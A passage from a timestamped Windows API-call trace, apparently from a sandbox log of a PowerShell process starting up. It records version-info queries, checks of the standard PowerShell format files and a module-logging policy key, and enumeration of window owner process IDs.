puLen=0x427e55c) returned 1 [0082.414] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x65d4e30, puLen=0x427e55c) returned 1 [0082.415] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x65d4ad4, puLen=0x427e55c) returned 1 [0082.415] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x0, puLen=0x427e55c) returned 0 [0082.415] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x0, puLen=0x427e55c) returned 0 [0082.415] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x0, puLen=0x427e55c) returned 0 [0082.415] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x427e554, puLen=0x427e550 | out: lplpBuffer=0x427e554*=0x65d4a7c, puLen=0x427e550) returned 1 [0082.415] VerLanguageNameW (in: wLang=0x0, szLang=0x427e2e4, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0082.415] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\", lplpBuffer=0x427e564, puLen=0x427e560 | out: lplpBuffer=0x427e564*=0x65d4a08, puLen=0x427e560) returned 1 [0082.419] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x427dc60, nSize=0xfa | out: lpBuffer="\x1141\x73b6\x7058\x65d\x13") returned 0x0 [0082.999] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e59c | out: phkResult=0x427e59c*=0x0) returned 0x2 [0083.000] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e59c | out: phkResult=0x427e59c*=0x0) returned 0x2 [0083.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427de94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0084.763] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0084.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.763] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d95e79, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8d95e79, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x362cf)) returned 1 [0084.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.764] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", lpFilePart=0x0) returned 0x39 [0084.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.764] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\typesv3.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x4b16)) returned 1 [0084.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.765] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0084.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.765] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0084.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0084.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d95e79, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8d95e79, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8d95e79, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x244af)) returned 1 [0084.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0084.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d95e79, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8d95e79, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8d95e79, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x5bf9)) returned 1 [0084.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0084.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x464c2)) returned 1 [0084.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", lpFilePart=0x0) returned 0x3f [0084.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\helpv3.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eb92ef, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc9eb92ef, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc9eb92ef, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x36539)) returned 1 [0084.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.769] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0084.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x1bd58)) returned 1 [0084.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.769] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0084.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0084.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.770] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0084.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e530) returned 1 [0084.770] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e5ac | out: lpFileInformation=0x427e5ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x355b)) returned 1 [0084.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e52c) returned 1 [0084.773] GetEnvironmentVariableW (in: lpName="PSModulePath", lpBuffer=0x427e488, nSize=0xfa | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0084.773] GetCurrentProcessId () returned 0x51c [0084.774] EnumWindows (lpEnumFunc=0x85e2846, lParam=0x0) returned 1 [0084.774] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x8e4 [0084.774] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x650 [0084.774] GetWindowThreadProcessId (in: hWnd=0x100d4, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.774] GetWindowThreadProcessId (in: hWnd=0x100ae, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.774] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.774] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.774] GetWindowThreadProcessId (in: hWnd=0x100c8, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.775] GetWindowThreadProcessId (in: hWnd=0x100cc, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.775] GetWindowThreadProcessId (in: hWnd=0x100c6, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.775] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.775] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb54 [0084.775] GetWindowThreadProcessId (in: hWnd=0x100e0, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x570 [0084.775] GetWindowThreadProcessId (in: hWnd=0x100d6, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.775] GetWindowThreadProcessId (in: hWnd=0x8013e, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc38 [0084.775] GetWindowThreadProcessId (in: hWnd=0x2020c, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xcb0 [0084.776] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc9c [0084.776] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc88 [0084.776] GetWindowThreadProcessId (in: hWnd=0x301f2, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc74 [0084.776] GetWindowThreadProcessId (in: hWnd=0x301f0, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc5c [0084.776] GetWindowThreadProcessId (in: hWnd=0x501f4, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc44 [0084.776] GetWindowThreadProcessId (in: hWnd=0xb004e, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc28 [0084.776] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc0c [0084.777] GetWindowThreadProcessId (in: hWnd=0x60038, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xa58 [0084.777] GetWindowThreadProcessId (in: hWnd=0x301f8, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xa60 [0084.777] GetWindowThreadProcessId (in: hWnd=0xa0048, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x68c [0084.777] GetWindowThreadProcessId (in: hWnd=0x201f6, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xaf4 [0084.777] GetWindowThreadProcessId (in: hWnd=0x301fe, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xa34 [0084.777] GetWindowThreadProcessId (in: hWnd=0x301fa, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xa84 [0084.777] GetWindowThreadProcessId (in: hWnd=0x30144, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x90c [0084.777] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xae8 [0084.778] GetWindowThreadProcessId (in: hWnd=0x50098, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xacc [0084.778] GetWindowThreadProcessId (in: hWnd=0x20180, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x718 [0084.778] GetWindowThreadProcessId (in: hWnd=0x4019c, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x7a0 [0084.778] GetWindowThreadProcessId (in: hWnd=0x20136, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x1e0 [0084.778] GetWindowThreadProcessId (in: hWnd=0x30100, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x2f0 [0084.778] GetWindowThreadProcessId (in: hWnd=0x60024, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x1f4 [0084.778] GetWindowThreadProcessId (in: hWnd=0x90046, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xf0 [0084.778] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb84 [0084.779] GetWindowThreadProcessId (in: hWnd=0x50022, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x54c [0084.779] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb54 [0084.779] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb54 [0084.779] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb50 [0084.779] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb50 [0084.779] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb54 [0084.779] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb2c [0084.779] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb2c [0084.780] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.780] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x650 [0084.780] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x650 [0084.780] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x650 [0084.780] GetWindowThreadProcessId (in: hWnd=0x20106, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x650 [0084.780] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x884 [0084.780] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x650 [0084.780] GetWindowThreadProcessId (in: hWnd=0x40032, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x570 [0084.781] GetWindowThreadProcessId (in: hWnd=0x100f8, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x570 [0084.781] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x650 [0084.781] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x650 [0084.781] GetWindowThreadProcessId (in: hWnd=0x100e4, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x450 [0084.781] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.781] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.781] GetWindowThreadProcessId (in: hWnd=0x20052, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb50 [0084.782] GetWindowThreadProcessId (in: hWnd=0x40060, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb54 [0084.782] GetWindowThreadProcessId (in: hWnd=0x100b6, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.782] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x570 [0084.782] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x570 [0084.782] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x7b4 [0084.782] GetWindowThreadProcessId (in: hWnd=0x1001c, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x2d8 [0084.782] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x93c [0084.782] GetWindowThreadProcessId (in: hWnd=0x100da, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x570 [0084.783] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x8e4 [0084.783] GetWindowThreadProcessId (in: hWnd=0x100d8, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.783] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x794 [0084.783] GetWindowThreadProcessId (in: hWnd=0x20244, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc94 [0084.783] GetWindowThreadProcessId (in: hWnd=0x40214, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc94 [0084.783] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xcb0 [0084.783] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc9c [0084.783] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc88 [0084.784] GetWindowThreadProcessId (in: hWnd=0x20204, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc74 [0084.784] GetWindowThreadProcessId (in: hWnd=0x20200, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc5c [0084.784] GetWindowThreadProcessId (in: hWnd=0x17003c, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc44 [0084.784] GetWindowThreadProcessId (in: hWnd=0xe0036, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc28 [0084.784] GetWindowThreadProcessId (in: hWnd=0x901de, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xc0c [0084.784] GetWindowThreadProcessId (in: hWnd=0x501ec, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xa58 [0084.785] GetWindowThreadProcessId (in: hWnd=0x6004c, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xa60 [0084.785] GetWindowThreadProcessId (in: hWnd=0x201bc, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x68c [0084.785] GetWindowThreadProcessId (in: hWnd=0x2015a, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xaf4 [0084.785] GetWindowThreadProcessId (in: hWnd=0x601ea, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xa34 [0084.785] GetWindowThreadProcessId (in: hWnd=0x801e8, lpdwProcessId=0x427e5f4 | out: 